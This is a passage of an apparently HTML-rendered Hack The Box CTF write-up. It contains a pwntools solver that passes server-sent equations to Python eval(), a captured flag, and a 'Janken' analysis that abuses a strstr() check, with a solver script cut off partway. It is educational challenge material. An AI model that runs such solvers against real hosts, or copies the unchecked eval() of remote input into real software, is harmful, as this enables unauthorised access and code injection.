&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">decimal&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Decimal&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ROUND_HALF_UP&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ROUND_HALF_DOWN&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;144.126.196.198&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30843&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;...&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">node&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;]&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;!&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">node&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;BRUH!!!!!!!!!!!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># In case something goes wrong (and it did)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">node&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recv&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">equation&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span>&lt;span class="p">)[:&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">equation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cal&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">eval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">equation&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">cal&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1337&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">cal&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">1337&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;MEM_ERR&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;MEM_ERR&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">round&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cal&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># if cal &amp;gt;= 0:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># res = Decimal(str(cal)).quantize(Decimal(&amp;#39;1.00&amp;#39;), rounding=ROUND_HALF_UP)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># else:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># res = Decimal(str(cal)).quantize(Decimal(&amp;#39;1.00&amp;#39;), rounding=ROUND_HALF_DOWN)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;SUCCESS WITH RESULT: &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">res&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">res&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">SyntaxError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;SYNTAX_ERR&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;SYNTAX_ERR&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">ZeroDivisionError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;DIV0_ERR&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;DIV0_ERR&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;img src="flag.png" alt="The dumb round() of python" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{d1v1d3_bY_Z3r0_3rr0r}&lt;/strong>&lt;/p>
&lt;h2 id="janken">Janken&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1h0_q2AoNESOKYubO_wu8TCGAk_T9WVWC/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you approach an ancient tomb, you&amp;rsquo;re met with a wise guru who guards its entrance. In order to proceed, he challenges you to a game of Janken, a variation of rock paper scissors with a unique twist. But there&amp;rsquo;s a catch: you must win 100 rounds in a row to pass. Fail to do so, and you&amp;rsquo;ll be denied entry.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Miscellaneous&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>There are 2 noticable functions called within &lt;code>main()&lt;/code> which is &lt;code>game()&lt;/code> and &lt;code>get_prize()&lt;/code>.&lt;/p>
&lt;p>The &lt;code>get_prize()&lt;/code> function simply gives us the flag so we won&amp;rsquo;t go too deep into it. But in order for this function to be called. We have to win 100 games of rock, paper, scissors. A.K.A. the &lt;code>game()&lt;/code> function.&lt;/p>
&lt;p>Having analyzed it, we got the following code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">game&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">v0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// eax
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">size_t&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+0h] [rbp-80h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v3&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [rsp+8h] [rbp-78h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [rsp+10h] [rbp-70h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">needle&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [rsp+30h] [rbp-50h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kr">__int64&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [rsp+50h] [rbp-30h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">__readfsqword&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x28u&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">time&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0LL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">srand&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">rand&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kr">__int64&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="s">&amp;#34;rock&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kr">__int64&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="s">&amp;#34;scissors&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kr">__int64&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="s">&amp;#34;paper&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">memset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">needle&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s">&amp;#34;paper&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">needle&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s">&amp;#34;rock&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">needle&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s">&amp;#34;scissors&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">unk_2540&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x33uLL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">stdout&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">31uLL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">[!] Guru&amp;#39;s choice: %s%s%s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">[!] Your choice: %s%s%s&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;31m&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">v3&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;36m&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;32m&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;36m&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0LL&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">strlen&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="o">++&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">__ctype_b_loc&lt;/span>&lt;span class="p">())[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">buf&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">)]&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="err">&amp;#39;&lt;/span> &lt;span class="err">\&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="err">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">_BYTE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">buf&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="n">strstr&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">needle&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">v3&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">[-] You lost the game..&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;31m&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">22&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">%s[+] You won this round! Congrats!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">%s&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;32m&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\x1B&lt;/span>&lt;span class="s">[1;36m&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We noticed that the program (Guru) chooses a random number from 0 to 2, which is rock, paper, scissors accordingly. It then checks if our input contains the string that can win against its choice using the &lt;a href="https://man7.org/linux/man-pages/man3/strstr.3.html" target="_blank" rel="noopener">strstr()&lt;/a> function.&lt;/p>
&lt;p>In other words, if Guru chooses &lt;strong>rock&lt;/strong>, then if our input contain the string &lt;strong>paper&lt;/strong>, we win.&lt;/p>
&lt;p>We can exploit the &lt;code>strstr()&lt;/code> by spamming &lt;strong>rockpaperscissors&lt;/strong> 100 times or write a script to do it for us.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;68.183.37.122&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">32161&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recv&lt;/span>&lt;span class="p">())&lt;/span>
